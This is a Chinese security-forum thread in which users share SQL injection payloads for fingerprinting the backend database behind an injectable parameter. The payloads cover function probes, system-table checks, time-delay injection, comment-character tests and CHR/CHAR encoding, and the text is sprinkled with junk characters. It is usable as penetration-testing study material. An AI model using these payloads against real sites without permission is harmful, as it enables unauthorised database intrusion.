中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库' E2 n2 j  x$ d- S4 V0 p
xsser (十根阳具有长短!!) | 2013-02-05 12:368 a7 N% a1 a% b0 }6 E
假设这么一个注射点:* y6 z( g3 {$ J) z( H& p7 L$ D
show.html?id=29 m% r7 T8 V2 |7 ]8 \7 X2 c
mysql:id=2 and version()>0
2 v  S% E+ D  m; H6 p2 a: ]oracle:id=2 and '1'||'1'='116 {& l: m9 [8 s& M8 |0 Z$ C; A
其他的欢迎补充
# V" ~2 T$ H# W% Z  j% W; r- ]1 e1#+ s- t% H, M7 X
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47- Z2 Q" l0 L. ~, }0 O- d
Access:" R: J5 p. I+ `. i, r1 l
aNd aSc(cHr(97))=97
  }) e5 \$ J/ G" i4 L3 q, Land exists(select id from MSysAccessObjects)$ c* O! u4 M& I7 t: c% N0 S7 g
SQL Server:. D3 T8 m4 n& q3 X
and exists(select id from sysobjects)
  R" n: j8 c& J6 p/ h0 {and length(user)>0
3 C6 P( V' z3 p# h+ d! q' e5 nMySQL:) C1 g4 v$ X5 F7 o
and length(user())>01 Z) {( l9 F! \! ^- q4 P; H( C5 E! r9 K3 K6 D
2#
: l9 L9 }6 \; p8 m6 Z4 j) R( [xsser (十根阳具有长短!!) | 2013-02-05 12:48$ T7 _7 Y+ k' f( x. G& T% u
@upload 如果这些都不是呢…- N7 B4 K$ Q6 m) E
3#3 n5 ^3 B0 X" c1 X# {& \
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
# V, N1 x9 r$ O  z@xsser 不快速的,延时注入
. R1 k+ a" s/ }. D不知道这样写对不对
8 V, p2 Q: Y7 h4 Y2 hmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'9 n/ o8 I$ P$ D
mysql:id=2 and select benchmark(1e8,current_date());
3 R2 @" q( M6 z4 B4#1 D7 {& A2 ?% H5 q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10/ {& g- O" u' @3 w' v, o% M
最快的貌似是看报错信息
' t( [1 H! `/ horacle error
  K1 i; i0 K3 K& }mssql error
0 j7 n; n! O; w, Z9 ]mysql error
9 d' r2 @. \! u7 |( T! r+ s2 y5#& K" d" c3 H' z$ `; ~
Nimda (你们都是坏银~) | 2013-02-05 13:14/ {# e6 S  W  a& \  n; j
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)4 T" p2 F3 I( k/ |
6#5 B4 ]( d' W% h4 i( y$ u
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:211 m' L2 G2 A7 _) U" m
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
0 Y7 H' i! ^) Z1 d, a3 N“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
/ B5 f4 ^% p5 D( ^“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。8 ~2 y1 N( f  S% I. ]3 ~
7#
* x* B5 [% Y. ?; }7 W_Evil (HackEnd) | 2013-02-05 13:33
+ Z; G% F3 V1 W* z( P  J5 F/ \3 c" XPostgreSQL
# p, C' h8 |( O# k+ E+ i8#
; @5 J: Y* z7 S% z, qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42, p& V( J+ b" \/ E
切换编码 and 1=1+ m" m. v1 M: V. F2 S
oracle:3 I- i( w' c$ e( y# Y$ \
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)" h8 ]1 o7 J( h2 C+ y7 }, {* N& `
mssql:% r" E. a( W7 {6 Z" t  ]2 \: E
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
0 _4 k6 y  m. y) n3 d- Fmysql:/ ?- P2 t; j: l5 L8 w* {  N
CHAR(97, 110, 100, 32, 49, 61, 49)' {% H- j( F$ \1 ^' N
9#
+ O- w6 @) {" |+ {# bxsser (十根阳具有长短!!) | 2013-02-05 14:31
4 y1 G1 N" ~" W8 g& }  E/ u% U@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
* P/ s- q& V8 @: \8 l( ]$ f10#% o: t8 C- Z+ w: X$ C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46- ^) }. G5 F, p
@xsser 是奇葩数据库类型的么?' C$ }2 F5 X: m1 e6 J- V: e
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:' Y+ C& q; T' O7 i2 Y. L' e
1.是否可以使用特定的函数来判断,该数据库特有的2 h, ~( ?9 V) G# r) G
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
9 X) `4 h4 d5 R# W3.是否可以编码查询- y. ]% ?" B) S% w5 ~" V
4.是否显可以利用错信息& ?( K4 I; J* w' l% X' J: j
5.是否存在数据库某些特性辅助判断
) x4 l; ?) E; K3 G  i个人见解( ]' T* ~/ p# R( X* D
11#0 B, ^1 P. j& L& X  l: k% U8 O3 L+ I2 u
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
. U; I% t$ R' o. K9 L( ?已收藏,mssql可以直接看到错误提示的吧~! H- n: [" @' l
12#
$ Z, ~2 E! u: j9 w7 JPasser_by | 2013-02-05 15:09$ N0 _1 Q7 ^" `+ _
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
3 [; m3 C+ ~) z8 _from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2